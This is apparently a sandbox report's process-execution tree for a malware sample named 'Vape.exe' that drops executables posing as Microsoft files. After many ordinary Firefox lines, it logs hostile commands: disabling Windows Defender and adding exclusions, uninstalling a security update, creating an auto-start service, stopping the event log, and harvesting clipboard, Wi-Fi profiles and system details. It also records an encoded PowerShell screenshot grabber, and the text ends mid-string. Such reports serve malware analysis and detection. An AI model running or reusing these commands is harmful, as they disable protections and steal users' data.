C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.24.1051239838\1471110003" -childID 21 -isForBrowser -prefsHandle 7892 -prefMapHandle 8456 -prefsLen 28273 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fd64dbe9-857f-4400-baa6-8e86d30529f2} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 7852 1313140d858 tab4⤵PID:6500
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.25.1482989890\1088664573" -childID 22 -isForBrowser -prefsHandle 7644 -prefMapHandle 8084 -prefsLen 28273 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cfe9a469-8fd8-413f-b2ca-44b634e78d77} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 7632 13132335c58 tab4⤵PID:1808
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.26.1006624236\1908525083" -childID 23 -isForBrowser -prefsHandle 7476 -prefMapHandle 7472 -prefsLen 28273 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b646b9a7-992a-4dc7-a1f6-6058adc0f15f} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 7492 13132334d58 tab4⤵PID:7076
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.27.1967091563\1779046165" -childID 24 -isForBrowser -prefsHandle 7216 -prefMapHandle 7220 -prefsLen 28273 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {068613fd-c59b-4aa2-9f5b-6531b171a69c} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 7204 131325f5b58 tab4⤵PID:7160
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.28.1400256510\2061571907" -childID 25 -isForBrowser -prefsHandle 7012 -prefMapHandle 7072 -prefsLen 28273 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4812ce18-a8a9-46d8-9ac8-62c458319474} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 7024 13132bbf558 tab4⤵PID:5756
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.29.1063267380\384432107" -childID 26 -isForBrowser -prefsHandle 7540 -prefMapHandle 8088 -prefsLen 31406 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ebf4069f-67ed-42da-b99e-48b0be12d9a0} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 7556 1312863c858 tab4⤵PID:3248
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.30.108441281\860084976" -childID 27 -isForBrowser -prefsHandle 7776 -prefMapHandle 6040 -prefsLen 31406 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ce87fa47-3bda-48fc-993c-636495b327df} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 7532 131286c9258 tab4⤵PID:468
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.31.905363151\1983676262" -childID 28 -isForBrowser -prefsHandle 7488 -prefMapHandle 7496 -prefsLen 31406 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7adb0baf-d0fb-434a-9fa4-97f5e16ee662} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 7480 131290d9d58 tab4⤵PID:596
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.32.136033856\538615017" -childID 29 -isForBrowser -prefsHandle 7372 -prefMapHandle 7404 -prefsLen 31406 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7c711d0d-a64d-44ff-b023-64ca6fdcc3c0} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 7400 131290dac58 tab4⤵PID:6636
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.33.1281204335\1836476836" -childID 30 -isForBrowser -prefsHandle 4848 -prefMapHandle 8552 -prefsLen 31406 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {070d67fa-1093-40f8-8bb6-9376585b6170} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 8604 13126493258 tab4⤵PID:6528
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.34.1323141387\2138896471" -childID 31 -isForBrowser -prefsHandle 10180 -prefMapHandle 2888 -prefsLen 31406 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fce22b6c-ac6f-4344-a455-a7470e6df9bc} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 8976 13126490b58 tab4⤵PID:1636
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.35.1610080577\1069589256" -childID 32 -isForBrowser -prefsHandle 7564 -prefMapHandle 7292 -prefsLen 31415 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {693d874e-afab-4c2b-a936-84839b60aec6} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 7484 1312cbe8258 tab4⤵PID:5804
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.36.1641074331\1774633407" -childID 33 -isForBrowser -prefsHandle 7676 -prefMapHandle 6516 -prefsLen 31415 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {48771972-9862-443f-9351-02c8c43e2d52} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 5684 13126d3b258 tab4⤵PID:2280
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.37.1258645661\496237377" -childID 34 -isForBrowser -prefsHandle 5832 -prefMapHandle 3820 -prefsLen 31415 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8fc82e4a-a5b2-447a-b0c6-1b6ae982a0c9} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 9608 1312d014d58 tab4⤵PID:1600
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.38.274132915\579241069" -childID 35 -isForBrowser -prefsHandle 7708 -prefMapHandle 8940 -prefsLen 31415 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d8e9864d-8607-4ef6-8884-e3144308ca89} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 7040 13125f0dc58 tab4⤵PID:6424
-
C:\Users\Admin\Desktop\Vape.exe"C:\Users\Admin\Desktop\Vape.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
PID:5972 -
C:\Users\Admin\AppData\Local\Temp\Microsoft_Protection.exe"C:\Users\Admin\AppData\Local\Temp\Microsoft_Protection.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
PID:5504 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Webdriversession\gI2DkJwTD.vbe"4⤵
- Checks computer location settings
PID:4252 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Webdriversession\SoPkc.bat" "5⤵PID:6564
-
C:\Webdriversession\Intoref.exe"C:\Webdriversession\Intoref.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:3180 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\TA6rIcr2dS.bat"7⤵PID:212
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵PID:3936
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:28⤵PID:4260
-
C:\Recovery\WindowsRE\smss.exe"C:\Recovery\WindowsRE\smss.exe"8⤵PID:5688
-
C:\Users\Admin\AppData\Local\Temp\Microsoft_crypt.exe"C:\Users\Admin\AppData\Local\Temp\Microsoft_crypt.exe"3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:6892 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4056 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵PID:2100
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵PID:7016
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵PID:6464
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵PID:2808
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵PID:1612
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵PID:6104
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2252 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "QHRAJGDI"4⤵
- Launches sc.exe
PID:1452 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "QHRAJGDI" binpath= "C:\ProgramData\nalfdgwigwyg\lhhsgwktkatl.exe" start= "auto"4⤵
- Launches sc.exe
PID:456 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
PID:344 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "QHRAJGDI"4⤵
- Launches sc.exe
PID:4120 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:6484
-
C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe"C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe"3⤵
- Executes dropped EXE
PID:5044 -
C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe"C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5864 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe'"5⤵PID:4228
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6792 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"5⤵PID:540
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6680 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵PID:6256
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4668 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"5⤵PID:6396
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1780 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"5⤵PID:4584
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 26⤵PID:1772
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"5⤵PID:3708
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 26⤵PID:2432
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"5⤵PID:2144
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name6⤵
- Detects videocard installed
PID:1916 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"5⤵PID:4704
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name6⤵
- Detects videocard installed
PID:2680 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵PID:2196
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
PID:3004 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵PID:396
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
PID:5032 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"5⤵PID:5592
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName6⤵PID:4440
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"5⤵PID:4568
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard6⤵
- Suspicious behavior: EnumeratesProcesses
PID:4500 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵PID:5440
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:2208
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
PID:3264 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵PID:3524
-
C:\Windows\system32\tree.comtree /A /F6⤵PID:6452
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"5⤵PID:5224
-
C:\Windows\system32\netsh.exenetsh wlan show profile6⤵PID:6860
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"5⤵PID:3364
-
C:\Windows\system32\systeminfo.exesysteminfo6⤵
- Gathers system information
PID:2400 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="5⤵PID:6588
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAc